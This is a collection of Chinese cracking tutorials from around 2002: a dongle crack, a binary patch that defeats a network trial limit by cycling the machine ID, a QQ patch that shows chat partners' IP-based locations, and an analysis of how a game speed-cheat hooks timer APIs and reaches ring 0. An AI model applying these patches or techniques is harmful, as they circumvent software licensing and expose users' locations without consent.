:0040A61A E8E3230900 Call 0049CA02
:0040A61F 8B55E8 mov edx, dword ptr [ebp-18]
:0040A622 8D45F0 lea eax, dword ptr [ebp-10]

* Reference To: VCL50.System::::LStrCat(void()), Ord:0000h
|
:0040A625 E8B4230900 Call 0049C9DE

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A5F0(C)
|
:0040A62A FF45F8 inc [ebp-08]
:0040A62D 837DF865 cmp dword ptr [ebp-08], 00000065
:0040A631 75AF jne 0040A5E2
:0040A633 8D55E4 lea edx, dword ptr [ebp-1C]
:0040A636 8B45F0 mov eax, dword ptr [ebp-10]

* Reference To: VCL50.Sysutils::Trim(()), Ord:0000h
|
:0040A639 E838260900 Call 0049CC76
:0040A63E 8B45E4 mov eax, dword ptr [ebp-1C]
* Reference To: sdproserver.Dogtestpro10::_Cmpar(())
|
:0040A641 E84A020000 call 0040A890
:0040A646 84C0 test al, al
:0040A648 740A je 0040A654
:0040A64A C645FF01 mov [ebp-01], 01
:0040A64E EB04 jmp 0040A654

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A5D9(C)
|
:0040A650 C645FF00 mov [ebp-01], 00

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A5D3(U), :0040A648(C), :0040A64E(U)
|
:0040A654 33C0 xor eax, eax
:0040A656 5A pop edx
:0040A657 59 pop ecx
:0040A658 59 pop ecx
:0040A659 648910 mov dword ptr fs:[eax], edx
:0040A65C 687EA64000 push 0040A67E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A67C(U)
|
:0040A661 8D45E4 lea eax, dword ptr [ebp-1C]
:0040A664 BA02000000 mov edx, 00000002

* Reference To: VCL50.System::::LStrArrayClr(void()), Ord:0000h
|
:0040A669 E8A6230900 Call 0049CA14
:0040A66E 8D45F0 lea eax, dword ptr [ebp-10]

* Reference To: VCL50.System::::LStrClr(()), Ord:0000h
|
:0040A671 E8A4230900 Call 0049CA1A
:0040A676 C3 ret

````````````````````````````````````````````
* Referenced by a CALL at Addresses:
|:004238ED , :00423A1F , :00423C70
|

Exported fn(): Dogtestpro10::_GetDlgNumber10(void()) - Ord:0013h
:0040A90C 55 push ebp
:0040A90D 8BEC mov ebp, esp
:0040A90F 83C4F4 add esp, FFFFFFF4
:0040A912 C7058CDE4B0003000000 mov dword ptr [004BDE8C], 00000003
:0040A91C C70590DE4B0001000000 mov dword ptr [004BDE90], 00000001
:0040A926 8D45FB lea eax, dword ptr [ebp-05]
:0040A929 A394DE4B00 mov dword ptr [004BDE94], eax
:0040A92E E8E4FBFFFF call 0040A517
:0040A933 8945F4 mov dword ptr [ebp-0C], eax
:0040A936 837DF400 cmp dword ptr [ebp-0C], 00000000
:0040A93A 7518 jne 0040A954
:0040A93C 33C0 xor eax, eax
:0040A93E 8A45FB mov al, byte ptr [ebp-05]
:0040A941 83E803 sub eax, 00000003
:0040A944 35FF000000 xor eax, 000000FF
:0040A949 83E830 sub eax, 00000030
:0040A94C 83C00A add eax, 0000000A
:0040A94F 8945FC mov dword ptr [ebp-04], eax
:0040A952 EB05 jmp 0040A959

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A93A(C)
|
:0040A954 33C0 xor eax, eax
:0040A956 8945FC mov dword ptr [ebp-04], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A952(U)
|
:0040A959 8B45FC mov eax, dword ptr [ebp-04]
:0040A95C 8BE5 mov esp, ebp
:0040A95E 5D pop ebp
:0040A95F C3 ret

现在看到了！解这只狗好简单！而我却费了好长时间，究其原因，实在是我太大意，根本就没注意到象
（* Reference To: sdproserver.Dogtestpro10::_GetDlgNumber10(void())）的语句！一直在客户端找问题。

我不太会写教程，对不住各位了！如有不明白的地方可以和我联系：qdcrack@sina.com

我的竹叶：
http://qdcrack.363.net

(363.net提供的竹叶空间实在太小，我的很多程序都没有办法放上去，让很多朋友失望！实在是没有办法！如果哪位老兄有空间，请和我联系，大家一起做好一个专业研究狗的网站）当然更希望各位解狗高手赐教！造福各位网友！)

下期预告：

青岛阿牛解狗教程之二（管家婆8.2网络版）
目的：熟悉简单解狗方法
敬请期待（要过年了！可能会延后！呵呵！）

注：这里反汇编的是服务器端的程序!用wdasm反汇编会出现死机的情况,你可以参看论坛精华三的有关anti的相关文章!有两处跳转需要修改!然后就可以顺利反汇编!


文化财经

 标 题:文化财经。 (10千字)
发信人:kanxue
时 间:2002-3-9 18:01:43
详细信息:
标 题: 补丁技术应用
关于本文：本文主要目的在于教学，让初学者如何应用补丁技术修补程序，只从技术角度探讨一下
请勿将此教程用于商业目的。在这首先感谢dreamtheater在Win32Asm编程方面的帮助！

===========================================================================

第一部分：程序分析

该程序是一网络客户端程序，每台机子可免费试用10天，如需继续使用则要购买正式帐号。程序拦截过程就不

写了，主要验证代码如下：

0167:004ABEC0 MOV ECX,EAX
0167:004ABEC2 CALL 00547B69
0167:004ABEC7 JMP 004AC228
0167:004ABECC MOV DWORD [0067B9C8],01
0167:004ABED6 MOV EAX,[EBX+64]
0167:004ABED9 PUSH EAX //机器号入栈（一机一号，并在其服务器登记，只能用10天）
0167:004ABEDA CALL `CHANNEL!CheckTryUserWhenLogOn`//在服务上验证用户合法性
0167:004ABEDF CMP EAX,BYTE -01 //EAX=0用户试用期己到；EAX＝FFFFFFFF，网络连接超时；
//EAX为其它值时可以继续试用（若强行修改其值以欺骗服务器，无效）。
0167:004ABEE2 MOV [ESP+30],EAX
0167:004ABEE6 JZ NEAR 004AC1F4//当EAX＝FFFFFFFF时跳，报“网络连接超时”；
0167:004ABEEC CMP EAX,ESI
0167:004ABEEE JNZ 004ABF51
0167:004ABEF0 CALL `CHANNEL!CloseChannel`//如上述EAX==0,则断开与服务器连接
0167:004ABEF5 PUSH ESI

所以该程序破解相当简单，当过期后，只要将0167:004ABED9 PUSH EAX 入栈的机器号换一数又可使用十天，

但问题来了，每到十天要修改程序一次，实在是让人烦脑，能不能让程序自动修改机器号呢？

===========================================================================

第二部分：确定方案

对这个问题，我采取的是这个方案：在该程序目录建一配制文件（如1212.ini），有如下内容：

/////////////////////////////////////////////////////////////////////
[kanxue]
count=0x00000003 //记数器，以十六进制表示(字符0x表示十六进制）
/////////////////////////////////////////////////////////////////////

程序上服务器验证时，从1212.ini文件读取count值作为机器号（0167:004ABED9 PUSH EAX）入栈，十天试用

期用完后（也就是`CHANNEL!CheckTryUserWhenLogOn`反回值为FFFFFFFF），将1212.ini文件中的count值加1,

如此流程，该软件就可长时间使用了。

实现这个功能，需要如下win32函数：

1、GetPrivateProfileIntA函数（用来读取1212.ini文件的count值）

UINT GetPrivateProfileInt(

LPCTSTR lpAppName, // address of section name （"kanxue"）
LPCTSTR lpKeyName, // address of key name （"count"）
INT nDefault, // return value if key name is not found（默认值）
LPCTSTR lpFileName // address of initialization filename（初始化文件的名字1212.ini）
);

2、WritePrivateProfileString函数（用来将数据写入1212.ini文件里）

BOOL WritePrivateProfileString(

LPCTSTR lpAppName, // pointer to section name （"kanxue"）
LPCTSTR lpKeyName, // pointer to key name （"count"）
LPCTSTR lpString, // pointer to string to add （要写的字串）
LPCTSTR lpFileName // pointer to initialization filename （文件1212.ini）
);

3、wsprintf函数（将字串用十六进制形式放入1212.ini，你也可不用该函数，结果就以十进制表示了）

int wsprintf(

LPTSTR lpOut, // 指向一个接收格式化文本的buffer
LPCTSTR lpFmt, // 指向一个带有格式控制的零终止字符串
... // 参数选项
);

其中：lpFmt指向的格式字符串中每一个格式设定必须是以下形式：
%[-][#][0][width][.precision]type

由于我们希望1212.ini中的count是以十六进制（0x0000000)表示，所以在这定义：
Fmt db "%#08lx",0
它含义输出的数值是带有0x(#)8位(8)小写的hex(lx),如果输出结果不足8位，补零(0)

为了更好地理解，我们先以一Win32ASM程序来实现这个功能：

/////////////////////////////////////////////////////////////////////

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc

includelib user32.lib
includelib kernel32.lib

.const
Default equ 1

.data
iniFile db ".\1212.ini",0
AppName db "kanxue",0
KeyName db "count",0
Fmt db "%#08lx",0
Opt db 10 dup(0)

.code

; ---------------------------------------------------------------------------

start:
invoke GetPrivateProfileInt, addr AppName, addr KeyName, Default, addr iniFile
mov eax, 5
invoke wsprintf, addr Opt, addr Fmt, eax
invoke WritePrivateProfileString, addr AppName, addr KeyName, addr Opt, addr iniFile
invoke ExitProcess, NULL

end start

/////////////////////////////////////////////////////////////////////

将上面程序编译后的EXE文件，反汇编后，关键代码如下：

/////////////////////////////////////////////////////////////////////

* Possible StringData Ref from Data Obj ->".\1212.ini"
|

//******************** Program Entry Point ********
:00401000 6800304000 push 00403000
:00401005 6A01 push 00000001

* Possible StringData Ref from Data Obj ->"count"
|
:00401007 6812304000 push 00403012

* Possible StringData Ref from Data Obj ->"kanxue"
|
:0040100C 680B304000 push 0040300B

* Reference To: KERNEL32.GetPrivateProfileIntA, Ord:011Fh //从1212.ini文件读取count的值
|
:00401011 E844000000 Call 0040105A
:00401016 B805000000 mov eax, 00000005
:0040101B 50 push eax //将EAX的值以十六进制格式写入1212.ini文件中(count)

* Possible StringData Ref from Data Obj ->"%#08lx"
|
:0040101C 6818304000 push 00403018
:00401021 681F304000 push 0040301F

* Reference To: USER32.wsprintfA, Ord:02A5h //字串格式转换为0x???????的形式
|
:00401026 E823000000 Call 0040104E
:0040102B 83C40C add esp, 0000000C

* Possible StringData Ref from Data Obj ->".\1212.ini"
|
:0040102E 6800304000 push 00403000
:00401033 681F304000 push 0040301F

* Possible StringData Ref from Data Obj ->"count"
|
:00401038 6812304000 push 00403012

* Possible StringData Ref from Data Obj ->"kanxue"
|
:0040103D 680B304000 push 0040300B

* Reference To: KERNEL32.WritePrivateProfileStringA, Ord:02BFh//写入1212.ini文件
|
:00401042 E819000000 Call 00401060
:00401047 6A00 push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0075h
|
:00401049 E806000000 Call 00401054

/////////////////////////////////////////////////////////////////////

===========================================================================

第三部分：补丁程序

方案基本确定，现在就需要在原程序将上述三个函数功能加进去，打开程序Import表查看，所幸的是

GetPrivateProfileInt、wsprintf、WritePrivateProfileString三个函数原程序皆有，因此我们就省了构造

Import表这一块了。只需要bpx GetPrivateProfileInt等三个API设断拦截后，查看相应的机器码就可，如：

FF153CC35700 CALL `KERNEL32!GetPrivateProfileIntA`
因此调用GetPrivateProfileInt时的机器码就是FF153CC35700 。

用十六进制工具打开主程序，我们先找一空白地方放入三个函数的参数：
---------------------------------------------------------------------------------------
17B65E 90909090909090902E5C313231322E696E69006B616E .........\1212.ini.kan
17B674 78756500636F756E7400252330386C78000000000000 xue.count.%#08lx......
---------------------------------------------------------------------------------------
\1212.INI：对应的文件地址：0017B650,内存地址为0057B650
kanxue：对应的文件地址：0017B65B,内存地址为0057B65B
count ：对应的文件地址：0017B662,内存地址为0057B662
%#08lx：对应的文件地址：0017B668,内存地址为0057B668

最后一步只需在程序找段空白处，将如下代码插入即可：

/////////////////////////////////////////////////////////////////////
修改后代码：
.................
.................
jmp Lable01
Lable00: MOV EAX,[EBX+64]
PUSH EAX //机器号入栈（一机一号，并在其服务器登记，只能用10天）
CALL `CHANNEL!CheckTryUserWhenLogOn`//在服务上验证用户合法性
CMP EAX,BYTE -01
MOV [ESP+30],EAX
JZ Lable03//当EAX＝FFFFFFFF时跳到Lable03，报“网络连接超时”
CMP EAX,ESI
JNZ 004ABF51
JMP Lable02//如EAX返回值为0,则跳到 Lable02处，将count加1.
.................
.................
Lable03: Callxxxxxx 网络连接超时

补丁代码一：（读取1212.ini文件count值）

Lable01: 6850B65700 PUSH DWORD 0057B650 ->".\1212.ini"
6A01 PUSH BYTE +01
6862B65700 PUSH DWORD 0057B662 ->"count"
685BB65700 PUSH DWORD 0057B65B ->"kanxue"
FF153CC35700 CALL `KERNEL32!GetPrivateProfileIntA`//读取count的值
E93008F3FF JMP Lable00

补丁代码二：（将1212.ini文件count值加1）

Lable02: 6850B65700 PUSH DWORD 0057B650->".\1212.ini"
6A01 PUSH BYTE +01
6862B65700 PUSH DWORD 0057B662->"count"
685BB65700 PUSH DWORD 0057B65B ->"kanxue"
FF153CC35700 CALL `KERNEL32!GetPrivateProfileIntA`//读取count值到EAX
40 INC EAX//count值加1
50 PUSH EAX
6868B65700 PUSH DWORD 0057B668->"%#08lx"
686FB65700 PUSH DWORD 0057B66F->"0000000000"
FF158CC65700 CALL `USER32!wsprintfA`//将count的值转换成0x00000004之类形式
83C40C ADD ESP,BYTE +0C //调整堆栈平衡（wsprintfA需手动调整堆栈）
（其它函数自动平衡堆栈）

6850B65700 PUSH DWORD 0057B650->".\1212.ini"
686FB65700 PUSH DWORD 0057B66F
6862B65700 PUSH DWORD 0057B662->"count"
685BB65700 PUSH DWORD 0057B65B"kanxue"
FF151CC35700 CALL `KERNEL32!WritePrivateProfileStringA`//将计算过的count
//写入1212.ini文件
E9F10AF3FF JMP Lable03

将程序修改后，在Win98下顺利运行，但在XP下报错（内存写超出范围），用工具PEditor打开程序，将文件检验和纠正（Checksum)，此时程序就可在XP下顺利运行了.
===========================================================================

第四部分：结束

本文目的只是给大家一个思路，当遇到困难时，换个思路问题就迎刃而解了。由于时间创促，文章写的比较凌

乱，请将就着看吧。;)


QQ1220显IP补丁

 标 题:手把手教你修改QQ1220 (9千字)
发信人:夜月
时 间:2002-3-20
详细信息:

手把手教你修改QQ1220

声明：本文章仅为教学目的而作，请勿将此用于不法用途。

前言：Oicq是目前国内使用最广泛的聊天软件，随之也出现了许多QQ的补丁，其中最著名和最实用的
一个补丁应该算是邹丹作的显示ip补丁，我看了邹丹写作的《为OICQ 820添加显示IP地址和
端口号的功能》和《如何为程序打补丁（基础，提高篇）》，然后自己试验了一次。在实验的
过程中，发现那两篇文章中存在着一些的不足，特别是《如何为程序打补丁（提高篇）》一文
中，完全把OrignalFirstThunk和FirstThunk两个数据的作用搞反了，对初学者是一个极大的误
导，再加上那两篇文章都没有写到具体的实现问题，给很多朋友的学习带来不便，为此，我结合
自己修改QQ的经验，写作此文，希望能对朋友们有所帮助。

思路：我们首先必须要得到对方的ip，然后用ip作参数，调用ipsearcher.dll得到对方地址，然后显
示在原来的广告窗口的位置。需要说明的是，这篇文章没有详细说明如何得到QQ中在线好友的
ip地址，因为本文重点不在于此，本文只是提出一种稍微高阶一些的补丁方法——调用外部dll
来给程序添加功能。

正文：首先考虑在何处显示ip地址的问题。现在所有的显ip，地址补丁的QQ都是利用原来QQ的广告
窗口位置显示的，这样做是基于如下两点考虑：

1 现在QQ的Flash广告的确很烦人，稍不小心，就容易中招，点击到腾讯的网站上去。

2 广告窗口的hwnd值我们可以很方便地得到，这样，就为我们使用SetWindowText打下了基础。

要使用广告窗口来显示我们的信息，当然首先要屏蔽掉广告窗口上面的图片，其次，还要屏蔽掉
在广告窗口内部点击时，程序自动启动腾讯浏览器，进入腾讯站点。其中，屏蔽图片我们可以使
用CreateFileA断点。屏蔽浏览器的启动，我们可以使用ShellExecuteA断点。

使用CreateFileA以后，看到如下代码段：

:0043AEFF 895E54 mov dword ptr [esi+54], ebx

* Reference To: KERNEL32.CreateFileA, Ord:0034h
|
:0043AF02 FF1594125800 Call dword ptr [00581294]
:0043AF08 8BF8 mov edi, eax
:0043AF0A 83FFFF cmp edi, FFFFFFFF
:0043AF0D 897D08 mov dword ptr [ebp+08], edi
:0043AF10 0F84EB000000 je 0043B001 //我们只要修改这个跳转就可以了
:0043AF16 8D45F4 lea eax, dword ptr [ebp-0C]

我们需要修改上述跳转到如下地点：

:0043AFDE 3945FC cmp dword ptr [ebp-04], eax
:0043AFE1 7427 je 0043B00A
:0043AFE3 FFB688000000 push dword ptr [esi+00000088] //使上面的跳转跳到这里
:0043AFE9 E8D7801000 call 005430C5
:0043AFEE 59 pop ecx

使用ShellExecuteA断点栏下来以后，往上看，可以看到如下代码：

:00459C7F 50 push eax
:00459C80 FFB64C030000 push dword ptr [esi+0000034C] // [esi+34C]就是广告窗口hwnd

* Reference To: USER32.GetWindowRect, Ord:015Ch
|
:00459C86 FF1578175800 Call dword ptr [00581778]
:00459C8C 8D45DC lea eax, dword ptr [ebp-24]
:00459C8F 8BCE mov ecx, esi
:00459C91 50 push eax
:00459C92 E8FECE0E00 call 00546B95
:00459C97 FF7510 push [ebp+10]
:00459C9A 8D45DC lea eax, dword ptr [ebp-24]
:00459C9D FF750C push [ebp+0C]
:00459CA0 50 push eax

* Reference To: USER32.PtInRect, Ord:01EAh
|
:00459CA1 FF15B0175800 Call dword ptr [005817B0]
:00459CA7 85C0 test eax, eax //修改这一句为 xor eax,eax，正好两字节
:00459CA9 0F844C010000 je 00459DFB

上面是发送消息的时候的判断代码，接受消息的窗口，也有类似的代码如下：

:004B02CC FF750C push [ebp+0C]
:004B02CF 50 push eax

* Reference To: USER32.PtInRect, Ord:01EAh
|
:004B02D0 FF15B0175800 Call dword ptr [005817B0]
:004B02D6 85C0 test eax, eax //同样改为xor eax,eax 两字节
:004B02D8 0F8409010000 je 004B03E7

如此，我们让广告窗口消失了，然后，到了我们如何得到在线好友的ip，457A4A处代码如下：

:00457A44 6824010000 push 00000124
:00457A49 57 push edi
:00457A4A E8CB350F00 call 0054B01A
:00457A4F 8D86E4030000 lea eax, dword ptr [esi+000003E4]
:00457A55 50 push eax
:00457A56 53 push ebx

当我们执行到457A4F处时，健入命令：d *(*(esi+414)+358)，就可以看到我们所选择的在线
好友的ip地址，如何得到414和358这两个数，需要大家的经验和运气，基本上QQ的每一个版本
这两个数得值都会不同。我们现在得到了我们需要的ip地址，下面来到了本文最核心的地方：
如何把这个ip转换成为地址数据，显示在广告窗口。

在任何一个可以显示地址的QQ中，都可以看到两个文件是原版的QQ所不具有的，1个是
ipsearcher.dll，一个是wry.dll，其中，wry.dll是著名的根据ip查地址软件“追捕”所使用的
数据库，ipsearcher.dll不过是它的一个界面，让你可以更加方便的使用wry.dll，ipsearcher.dll
的使用方法及其简单（后面可以看到它的使用），它里面只有一个引出函数_GetAddress，我们
需要作的事情就是让QQ启动的时候，自动加载ipsearcher.dll。这里需要PE文件格式的知识，而
且极易出错，操作的时候务必小心。操作步骤如下：

1 用PEditor打开QQ2000b.exe，点击director，可以看到imp table的RVA是1CCE28，Size是17C。

2 使用PEditor的FLC功能，得到RVA 1CCE28==File offset 1CCE28，好，方便了我们的工作。

3 用WinHex打开QQ2000b.exe，Alt+G，填入1CCE28，然后拖动鼠标选择，看着右下方有Size标注
出你选择的块的大小，当选择的区域达到17C，停止拖动，Ctrl+C拷贝选择区域到剪贴版。

4 再次用PEditor打开QQ2000b.exe，点击section，看到.data段的起始地址为：1D1000

5 回到WinHex，Alt+G，填入1D1000，看到上面有很大一篇空间为0，于是在1D0150处Ctrl+B，把
剪贴版上的数据填充到此处（注意是Ctrl+B，不是Ctrl+V，Ctrl+V是拷贝，会增加文件的长度）
Ctrl+S存盘。

6 PEditor的director中，手动修改imp table的RVA为：1D0150（因为QQ的File offset==RVA）

7 在WinHex中，按照下图写入新的引入函数项。

在此，对OrignalFirstThunk和 FirstThunk项作一次说明：

系统在程序初始化时根据OrignalFirstThunk的值找到函数名，然后调用GetProcAddress函数根
据函数名取得函数的入口地址，然后用函数入口地址取代FirstThunk指向的地址串中对应的值。
有的程序的OrignalFirstThunk的值为0，则初始化时系统根据FirstThunk的值找到指向函数名的
地址串，由地址串找到函数名再根据函数名得到入口地址，然后用入口地址取代FirstThunk指向
的地址串中的原值。

根据这个说明我们可以看出，在添加新的引入函数的时候，真正重要的是FirstThunk处的值，
OrignalFirstThunk填不填写无关紧要，要填的话，就得填入一个真正有效的值，如果嫌麻烦，
可以使其为0。具体到QQ中，也就是说1D02B8处，我们完全可以不填写任何数据，直接写0。
而FirstThunk处的值，一定要填写正确，我们才能调用该Dll中的函数，在这里，FirstThunk
的指针关系是这样的：

1D0310-->1D02E0-->(0100)_GetAddress

而RVA=1D0310在程序执行时的VA是5D0310，所以，我们的代码中，写入Call dword [5D0310]
就是写入CALL IPSEARCHER!_GetAddress。我们的程序中，还要使用到其它的几个函数，都可
以用这种方式引入，现列表如下：

Call dword [5D0310] == Call IPSEARCHER!_GetAddress

Call dword [5814D4] == Call USER32!SetWindowTextA

Call dword [5816E4] == Call USER32!wsprintfA

最后就是QQ显地址的最后实现代码了，由于我们需要写的代码并不是很多，所以我就直接利用
了前面修改CreateFileA时，空下来的代码空间，写的时候要注意，最好在PEditor里面把代码
段的属性改为可执行的（也就是最高一位为1）

457A4A处如此修改：

0167:00457A4A E8CB350F00 CALL 0054B01A
0167:00457A4F E9C134FEFF JMP 0043AF15
0167:00457A54 90 NOP

跳到43AF15后，执行如下代码：

0167:0043AF15 51 PUSH ECX
0167:0043AF16 52 PUSH EDX
0167:0043AF17 56 PUSH ESI
0167:0043AF18 8B8614040000 MOV EAX,[ESI+0414]
0167:0043AF1E 8B8058030000 MOV EAX,[EAX+0358]
0167:0043AF24 803800 CMP BYTE [EAX],00
0167:0043AF27 7436 JZ 0043AF5F
0167:0043AF29 50 PUSH EAX
0167:0043AF2A FF1510035D00 CALL `IPSEARCHER!_GetAddress`
0167:0043AF30 83C404 ADD ESP,BYTE +04
0167:0043AF33 FF7004 PUSH DWORD [EAX+04]
0167:0043AF36 FF30 PUSH DWORD [EAX]
0167:0043AF38 B890B95F00 MOV EAX,005FB990
0167:0043AF3D 50 PUSH EAX
0167:0043AF3E B8A0B95F00 MOV EAX,005FB9A0
0167:0043AF43 50 PUSH EAX
0167:0043AF44 FF15E4165800 CALL `USER32!wsprintfA`
0167:0043AF4A 83C410 ADD ESP,BYTE +10
0167:0043AF4D B8A0B95F00 MOV EAX,005FB9A0
0167:0043AF52 50 PUSH EAX
0167:0043AF53 FFB64C030000 PUSH DWORD [ESI+034C]
0167:0043AF59 FF15D4145800 CALL `USER32!SetWindowTextA`
0167:0043AF5F 5E POP ESI
0167:0043AF60 5A POP EDX
0167:0043AF61 59 POP ECX
0167:0043AF62 8D86E4030000 LEA EAX,[ESI+03E4]
0167:0043AF68 E9E8CA0100 JMP 00457A55

上面这段代码需要注意如下几个问题：

1 推荐使用Hiew写代码，这样修改方便，并且免除动态调试的时候各种不稳定的麻烦。TRW的A命
令的确不是很好用。最好的一点是Hiew里面写了代码直接存盘就可以了，不象TRW里面，还得
转几个弯才能写回文件里面。

2 一定要注意堆栈的平衡问题。调用了_GetAddress和wsprintfA以后，都有堆栈的调整语句，这
些语句处理不好，马上就让程序崩溃了。

3 要注意自己的代码中，寄存器的值得保存的问题。上面众多的push，pop指令就是为此而写。

4 从自己的代码返回到程序原来的代码中时，原来的程序有一句LEA EAX,[ESI+03E4]，这里要注
意加上。

修改完代码以后，我们还需要在eXeScope中修改广告窗的样式，让其看起来更加美观。

经过以上几道手续，QQ的修改工作就算最后完成了。

注意： 这个显示ip的东西是调用的著名的“追捕”的数据库wry.dll，所以，能够分辨出来的ip的多少，取决
于你的wry.dll的版本的新旧。想用得更爽的朋友，自己去找最新的追捕吧！

==========================================================


变速齿轮

“变速齿轮”研究手记

注意：如果你看了本文，对我们这个软件有兴趣，请到我们的主页www.vrbrothers.com下载。

注：为节省篇幅，本文对一些计算机术语直接使用而没有作详细的解释，读者若有不熟悉之处，建议参考清华大学出版社出版，周明德编著的《微型计算机系统原理及应用》一书中关于8253/8254定时器和x86保护模式的相应章节。

也许是我孤陋寡闻吧，说出来不怕您笑话，对于“变速齿轮”这样著名的软件，我一直到五天前，也就是2001年2月28号才第一次听说。我有几个同学很喜欢玩图形MUD，整天见了面就在一起切磋“泥”技。我对MUD本身并没有多大兴趣，但是那天早上偶尔听他们说某个MUD站点明文规定严禁使用“齿轮”，这才好奇地问他们什么是“齿轮”。别人告诉我，“齿轮”是一个软件，能对Windows下的游戏加速，他们在玩MUD时就依靠这个软件作弊。这不禁令我一头雾水，能让Windows游戏改变速度，太神奇了！
我一贯对技术很有兴趣，听说有这么一个神奇的软件，当然要想想它是怎么实现的。这个软件看起来并不复杂，我原以为一个早自习好好琢磨琢磨就行，可是我想了好几节课，始终不得其要领。说来也巧，我们这学期有一面必修课是Linux内核原理分析，这几天正好学到了进程调度，老师说，当一个时钟中断发生的时候，操作系统要做很多事情，比如必要时要重新调度进程从而实现抢先式多任务，还要更新系统时钟......慢着，我突发奇想，如果让时钟中断产生的更快，会发生什么事情呢？
我们已经学过“微机原理”这门课程，我知道让时钟中断产生的更快不是难事，以前我就用DOS下的汇编语言写过这样的程序，这是我们当时的作业。可是我以前的程序在Windows下虽然可以运行，但并不能对Windows系统加速，道理很显然：Windows9x是使用x86虚拟机的机制来兼容DOS程序的，我的程序只能改变虚拟机，就是那个黑窗口的时钟中断。
于是我试图把以前的DOS程序搬到32位环境中。用VC内嵌汇编做这件事再合适不过了，在一个VC程序框架中加上一个__asm，然后只管把以前的汇编程序往里贴就行。我满怀希望地运行这样一个拼凑出来的怪物，结果，出现了一个大家都很熟悉的“该程序执行了非法操作”，我的试验以失败告终。
后来冷静下来仔细想想，这次失败的原因是显然的。Windows作为一个复杂的32位操作系统，如果能让你随便对硬件进行操作，那也许运行不了几个程序就崩溃了。但是如何绕过操作系统去操作硬件呢？我首先想到了vxd，编写一个驱动程序肯定可以操作硬件，但是，很可惜，我不会设计驱动程序。于是我想到了以前看到的CIH的源码，CIH没有写vxd，却能操作硬件去烧毁BIOS，陈盈豪真是太伟大了，他的程序精巧之处我至今记忆犹新。于是我模仿他的技术，修改IDT表，创建一个中断门，然后发生中断，进入ring0，现在我可以做任何事情了，按照以前的DOS程序那样，往8253定时器里写一个控制字，再分两次写入新的时钟中断发生频率，一切顺利！（详细技术请您参考我的“兄弟变速器”源码）我看到VC编辑区的光标疯狂的闪烁；双击已经失效了，因为Windows认为我双击的时间间隔太长；Windows任务栏右方的时间飞快跳动，应该说，我已经成功了。
当时我想当然的以为“变速齿轮”的原理也是如此，可是当我从同学那里把“齿轮”拷来并研究时，发现Windows的时钟并不变快，而游戏速度照样可以加上去，也就是说，“齿轮”采用了与我的程序不同的技术，是什么技术呢？我决定继续研究。
我访问了“变速齿轮”的主页，这个主页上有一个“你问我答”的栏目，由“齿轮”的作者王荣先生进行技术支持。我试图在这里找到一些关于“齿轮”的技术细节，但是很可惜，没有找到，王荣先生只是告诉大家这个程序不能用VB编写等等根本连皮毛也不涉及的问题，好不容易见到一个外国人问能不能公布源代码，其实这也是我想问的，但是王荣先生明确表示不行，这不禁令我感到非常失望。
我也想过写信去索取原码，也许他不向外国人公布，中国人可不一定。但是咱们“臭老九”最爱一个面子，我实在拉不下脸去问。这时已经是晚上10点了，我决定祭出SoftIce，用一夜时间去研究他的程序。
当时使用的工具是SoftIce，WD32ASM和VC，手边两本参考书是《微型计算机系统原理及应用》和《Linux操作系统内核分析》（都是我们的课本，呵呵）。
起初，“变速齿轮”0.2版的一个叫hook.dll的文件很大程度上吸引了我的注意力，我怀疑他使用Windows消息钩子实现变速，消息钩子我很熟悉，但我把MSDN上面关于钩子的介绍看了好久，也没有想出它和变速有什么联系，这时偶然看了一下在王荣先生的主页上得到的“变速齿轮”0.1版，才发现老版本中并没有这个文件，也就是说，我只需要反汇编他的主程序就够了，于是，二话不说，用WD32ASM先把0.1版的“齿轮”给拆了，汇编代码5000多行，并不算多。
我是从这个程序的导入函数着手的，以前编程时用于定时的SetTimer，timeGetTime，timeSetEvent等等这里都导入了，看看它们被引用的地方，我发现这些函数都是集中出现的，而且大都以这样的形式出现：
* Reference To: WINMM.timeGetTime, Ord:0098h
:00401F3E 8B0D64424000 mov ecx, dword ptr [00404264]
:00401F44 8B11 mov edx, dword ptr [ecx]
也就是说，他并没有调用这些函数，只是取得了函数的入口地址，保存在ecx中，然后又根据这个入口地址得到了函数的前面几个字节，保存在edx中。
这让我想到了前些日子在CSDN上面和别人讨论的Hook API的原理，当时我还索取了一份Hook API的例程，如果我要Hook这里的函数timeGetTime，修改ecx中的地址或者修改edx处的头几条指令就行，用汇编语言写，与上面看到的这段代码类似。
为了测试“齿轮”是不是要Hook这里的timeGetTime，我自己编写了一个很简单的小程序，调用timeGetTime，每秒钟显示一个数字。用“齿轮”进行加速后，果然显示的速度快多了。再用SoftIce跟进这个timeGetTime函数，第一条指令变成一个跳转，这充分说明“齿轮”确实Hook了这几个API，不难猜测，他要改变函数的返回值，也就是说在timeGetTime结束时还要再跳入“齿轮”自身的代码，耐心跟下去，我发现回到timeGetTime时栈里多压了一个地址，这样，当timeGetTime用ret指令返回时，先返回“齿轮”的代码（这个思想确实很巧），返回值经过处理后，才跳回我的应用程序。至于怎么处理这个返回值就简单了，改到原先的2倍，应用程序速度也就提高了2倍。
回头再看WD32ASM反汇编的代码，我又发现在Hook API前面的不远处使用了一次SGDT指令和两次SLDT指令，这是x86保护方式的特有指令，用于获得全局描述符表，进一步得到局部描述符表，这段代码引起了我的兴趣，用SoftIce跟进去，往下走几步，一边跟一边猜，大致整理出了这样的思路：
1.创建一个内存映射，把自己的代码映射到0x80000000以上的地方，在Win9x下，这块虚存是所有进程共享的。
2.先得到局部描述符表的地址，然后利用这张表修改代码段的特权级。
3.用局部描述符表创建一个调用门，在x86的保护模式下要进入ring0必须通过门来进行，CIH是用中断门完成的，这里用调用门完成，异曲同工。
4.保存几个关键函数前六个字节，改为一条跳转指令，跳到自己已经映射到高端的代码。
5.发生函数调用时进入自己的代码，通过调用门进入ring0，恢复函数开头的几个字节，修改返回值。
这时已经是凌晨5点了，既然主要思想已经掌握，我也就没有细看这段代码，8点钟还要上课，睡觉去也。
回头想想，我认为王荣先生的代码还有几点值得推敲之处：
1.如果要Hook API，一定要改变函数的第一条指令吗？如果仅仅改变函数的入口地址，不是既容易编也容易调试吗？
